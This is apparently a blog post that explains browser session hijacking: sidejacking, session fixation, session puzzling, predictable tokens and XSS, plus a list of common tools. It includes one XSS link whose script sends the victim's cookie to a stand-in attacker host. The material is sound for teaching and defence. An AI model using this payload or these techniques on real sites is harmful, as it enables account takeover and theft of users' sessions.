Browser Session Hijacking

Web App Attack
by TechnoHerder Leave a comment

Another form of session hijacking is to steal the session credential from a user’s browser and then use it to impersonate the user on a website. HTTP has no mechanism at the protocol level for tracking the state of a particular browser request. From the server’s perspective, every request it receives from the client is new. If authentication is required, the user must either re-enter credentials for every new request, or some other mechanism must exist to tie all requests into a single continuous session. The most common mechanism for doing this is a cookie. A cookie is a text file that the server gives to the client browser. It contains the session ID (SID) for that particular web session, and is used as an authentication token. The browser keeps presenting the cookie every time a request is made. In this way, the user does not need to keep re-entering credentials at the website. If you can steal the victim’s session ID, you can put it in your own cookie and use it.

Browser session hijacking

The following table summarizes common ways to hijack a browser session.

Hijacking Method

High-Level Steps

Comment

Sniffing the cookie (sidejacking)

The attacker uses ARP poisoning and Wireshark to sniff the user’s cleartext HTTP session and steal the cookie.

If the website developer only requires HTTPS for the login, or if the HTTPS session uses HTTP to request an image or other file from another server in the same domain, the cookie will be attached and in plaintext and can be stolen. Search the captured packets for “sess” or “PHPsess”.

Session fixation
  1. The attacker logs in to the site and extracts the cookie.
  2. The attacker sends a link to the site to the victim. The link has the cookie in it.
  3. The victim clicks the link. The site accepts the cookie and associates it with the user.
  4. The user logs in to the site. The cookie is now associated with a logged-in user.
  5. The attacker now connects to the site with the same cookie and goes in without having to authenticate.

The cookie is supposed to be generated after authentication, but in some cases, through bad coding practice, it might be generated first upon connecting to the site. A variant of this attack is for the attacker to open a browser to a popular website at a public Internet cafe, library, or some other place where computers are shared. The attacker notes the cookie, leaves the login page open, and waits for a user to sit down and log in. At this point, the attacker knows the cookie for that user and can supply it to the same site.

Session variable overloading (session puzzling)
  1. The attacker visits the website and clicks the Forgot Password link.
  2. The attacker enters a known user name.
  3. The attacker then requests an internal page from that site, such as viewprofile.jsp, and is logged in as that user.

The attacker bypasses authentication by accessing pages in an unexpected order. The application wrongly sets the session attribute to the victim user account and fetches the user’s profile page for the attacker.

No session logout or expiration time
  1. The user leaves the site or walks away from their machine.
  2. The attacker finds a way to get the session ID from the server.

The server does not properly destroy the session after the user leaves the site, or does not log out the user after inactivity timeout.

Predictable session token
  1. The attacker analyzes the site’s use of cookie session IDs and realizes they are simply obfuscations (for example, Base 64 encodings) of the user name.
  2. The attacker takes a known user name, converts it using the same method, and connects as that user.

The user name moo@example.com translates to Base 64 as bW9vQGV4YW1wbGUuY29t. The website might set the cookie as such: Set-Cookie: sessionid=bW9vQGV4YW1wbGUuY29t=

Cross-site scripting (XSS)
  1. The attacker posts a malicious link with JavaScript in it on a vulnerable site.
  2. The victim clicks the link and the JavaScript extracts the cookie and sends it in the background to another site the attacker has set up to capture the cookie.
  3. The attacker uses the cookie to masquerade as the victim.

JavaScript can extract the cookie using the document.cookie property.

Here’s an example of the malicious link for an XSS attack:

http://www.somevulnerablesite.com/somexssvulnerablepage.jsp?name=<script>document.location=
 “http://www.attackersite.com/cookie_grab.php?c=” + document.cookie</script>

HTTP Session Hijacking Tools

Common tools for HTTP session hijacking include:

  • Firesheep
  • Hamster, Ferret
  • CookieCatcher
  • ARP poisoner such as Ettercap or Cain & Abel, plus a sniffer like Wireshark
  • MITMf

Note: Do not confuse a browser session ID (SID) with a Microsoft Security ID (SID). The Microsoft SID is a 128-bit permanent identifier for a user account in Windows.

Leave a Reply

Your email address will not be published. Required fields are marked *